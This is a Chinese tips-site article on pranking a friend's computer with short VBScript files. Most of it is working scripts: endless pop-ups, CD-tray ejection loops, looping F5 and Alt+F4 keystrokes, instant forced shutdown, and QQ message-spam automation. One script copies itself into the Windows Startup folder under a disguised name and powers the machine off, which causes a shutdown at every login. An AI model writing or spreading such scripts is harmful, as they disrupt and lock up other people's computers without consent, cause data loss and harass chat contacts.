如何恶搞朋友的电脑？超简单的vbs代码

来自大众点评网http://www.dianping.com/的优秀用户你才木有用户名，于2017-12-10在生活百科知识平台总结分享了一篇关于“如何恶搞朋友的电脑？超简单的vbs代码宠物连连看”的经验，非常感谢你才木有用户名的辛苦付出，他总结的解决技巧方法及常用办法如下：

想恶搞朋友的电脑？想整蛊舍友的爱机？只要简单的几行代码，让恶搞发生。本文章将带你从vbs小白进阶到大神级别。

方法/步骤

1/12分步阅读

新手教学（大神请跳到第五步）：

编写vbs有多简单？新建“文本文档”，输入msgbox "一大波病毒正在靠近..."，点击文件->另存为->重命名为“代码.vbs”。文件名不重要，重要的是后缀要是“.vbs”。

[图]2/12

双击保存的文件：代码.vbs，即弹出一个对话框。记下这段小小的代码，去同学家里恶搞吧。当然你还可以输入其他有趣的文字。

[图][图]3/12

当然，如此恶搞还是不够的。那就来一个无限循环吧，输入图中代码另存为vbs格式。双击打开。此时，会弹出提示对话框，点击确定和关闭按钮之后，再一次弹出窗口，如此循环，无法正常关闭。

[图][图]4/12

那么到底要如何才能关闭呢？打开任务管理器结束进程“wscript.exe”即可

[图]5/12

到此新手教学完毕，下面进入大神课堂教学。

无限弹出光驱：

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

------------------------------------------------

6/12

无尽语音报数：

无限语音从1数到无限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

------------------------------------------------

7/12

无尽刷新：

慎用，如此刷新打开任务管理器都难，只能拔掉电源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

------------------------------------------------

8/12

修改注册表：

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

9/12

QQ信息骚扰恶搞：

打开好友的聊天对话框，然后记下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("小敏")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

------------------------------------------------

[图]10/12

直接关机：

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

11/12

不断按下alt+f4 ：

打开任何程序都关掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

------------------------------------------------

12/12

开玩笑也得有个度，凡事都不要太过。上面的代码的尺度还不算很大，大家可以玩玩。

注意事项

如你觉得此的经验不错，可以点击下面的“大拇指”给予支持，也可以点击下面的“五角星”来收藏。觉得可以帮助朋友，还可点击右边角的“双箭头”分享，如果你也喜欢计算机网络技巧，可以点击关注哦！

恶搞

编辑于2017-12-10，内容仅供参考并受版权保护

经验备注

我发现了这篇经验很有用：你也认同《如何恶搞朋友的电脑？超简单的vbs代码》的经验分享有价值，就请和朋友们一起分享吧。另外，如何恶搞朋友的电脑？超简单的vbs代码的经验内容仅供参考，如果您需解决具体问题(尤其法律、医学等领域)，建议您详细咨询相关领域专业人士。经验知识实用生活指南-解决你所有的生活难题！未经许可，谢绝转载。

本文网址：https://www.5058.cn/article/ce53b9196678f7f9cd63a158.html

下一篇